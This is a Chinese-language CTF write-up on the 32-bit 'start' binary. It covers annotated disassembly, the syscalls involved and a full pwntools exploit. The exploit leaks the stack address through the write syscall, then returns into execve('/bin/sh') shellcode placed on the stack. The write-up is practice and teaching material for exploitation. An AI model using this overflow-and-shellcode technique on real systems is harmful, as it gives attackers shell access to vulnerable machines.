1_start_32/需要与电脑沟通

一定要动态调试!!! 【1_start_32/需要与电脑沟通】发现了汇编的精妙之处(原来你的电脑之间沟通只差一个gdb
注:我们gdb-pedachecksec可能会出错(开启了NX机制,谁让你往里面写shellcode啊) ,要用pwntools框架的checksec检测一下。

1_start_32/需要与电脑沟通
文章图片
1_start_32/需要与电脑沟通
文章图片

start入口

.text:08048060 _startproc near .text:08048060pushesp .text:08048061pushoffset _exit//自己gdb调试得到这是 0804809D函数结束的地方,我们调用一个总要回到跳出函数 .text:08048066xoreax, eax//xor 进行异或处理将寄存器清空 .text:08048068xorebx, ebx .text:0804806Axorecx, ecx .text:0804806Cxoredx, edx .text:0804806Epush3A465443h//压入我们的字符串 .text:08048073push20656874h .text:08048078push20747261h .text:0804807Dpush74732073h .text:08048082push2774654Ch .text:08048087movecx, esp; write_addr// .text:08048089movdl, 14h; len//输入文本的长度 .text:0804808Bmovbl, 1; fd//文件表示符1表示标准输出 .text:0804808Dmoval, 4//调用的是write .text:0804808Fint80h; LINUX - sys_write//调用程序int可以理解为我们的call指令 .text:08048091xorebx, ebx .text:08048093movdl, 3Ch .text:08048095moval, 3//调用read函数 .text:08048097int80h; LINUX - read//我们补全为read .text:08048099addesp, 14h//将调回栈的开的地方 存储offset _exit的地方 .text:0804809Cretn .text:0804809C _startendp ; sp-analysis failed

结束exit
.text:0804809D _exitproc near; DATA XREF: _start+1?o .text:0804809Dpopesp .text:0804809Exoreax, eax .text:080480A0inceax .text:080480A1int80h; LINUX - sys_exit .text:080480A1 _exitendp ; sp-analysis failed .text:080480A1 .text:080480A1 _textends .text:080480A1 .text:080480A1 .text:080480A1end _start

先了解 (linux syscall的资料在这里) 系统调用通过 int 80h 实现,执行时 eax中为调用的功能号,ebx、ecx、edx 等以此为参数。系统调用号写在/usr/include/asm/unistd.h
#define __NR_exit1 #define __NR_fork2 #define __NR_read3 #define __NR_write4 #define __NR_open5

又要做图理解了 1_start_32/需要与电脑沟通
文章图片
图片.png 结束的时候
1_start_32/需要与电脑沟通
文章图片

注: 有人问为什么'A'*20+write泄露的是esp的地址
程序一开会就先将我们的esp入栈,然后再结束的时候,ret指令被我们改为了write的地址,write的作用的打印出来栈内的数据 payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)
注:有人会问我为什么泄露出来了的是esp的位置(其实就是buf开始的栈的地址),那payload的时候'A'*20+esp_addr(不就行了嘛,为什么要加20呢)。我们在前面会发现存在(add esp ,0x14),他的作用就是:输入完,我们要栈清空(跳回我们原来开始输入数据的地方,)(其实+20是为了跳过add esp,0x14的检测)我们跳过他的检测,我们shellcode就可以随便写了,反正获得buf的地址,后面就随便写啦
注:我们为什么不可以直接将我们的shellcode,利用ret返回地址,填写到一个我们可以执行的空间去呢,因为程序给我们的条件太少了,自己还没找到可以利用的可写的bss或者date段。
1_start_32/需要与电脑沟通
文章图片
shellcode EXP
from pwn import * p = process('./start')#context.log_level = 'debug' #raw_input() shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" #gdb.attach(p) write_addr = 0x08048087 payload1 = 'A'*20 + p32(write_addr) p.send(payload1) #gdb.attach(p)p.recvuntil("Let's start the CTF:") esp = u32(p.recv(4)) #gdb.attach(p) print "[+]esp_addr:" + hex(esp) #gdb.attach(p)offset = 20 payload2 = 'a'*20+ p32(esp+offset)+ shellcode+ 'a'*100(栈的初始化地址暴露,我们就可以说获得栈的空间随便可以用了)(针对这道题而已) p.send(payload2) p.interactive() #p.close()##感觉没撒实际效果,我们只要交互就ok了

    推荐阅读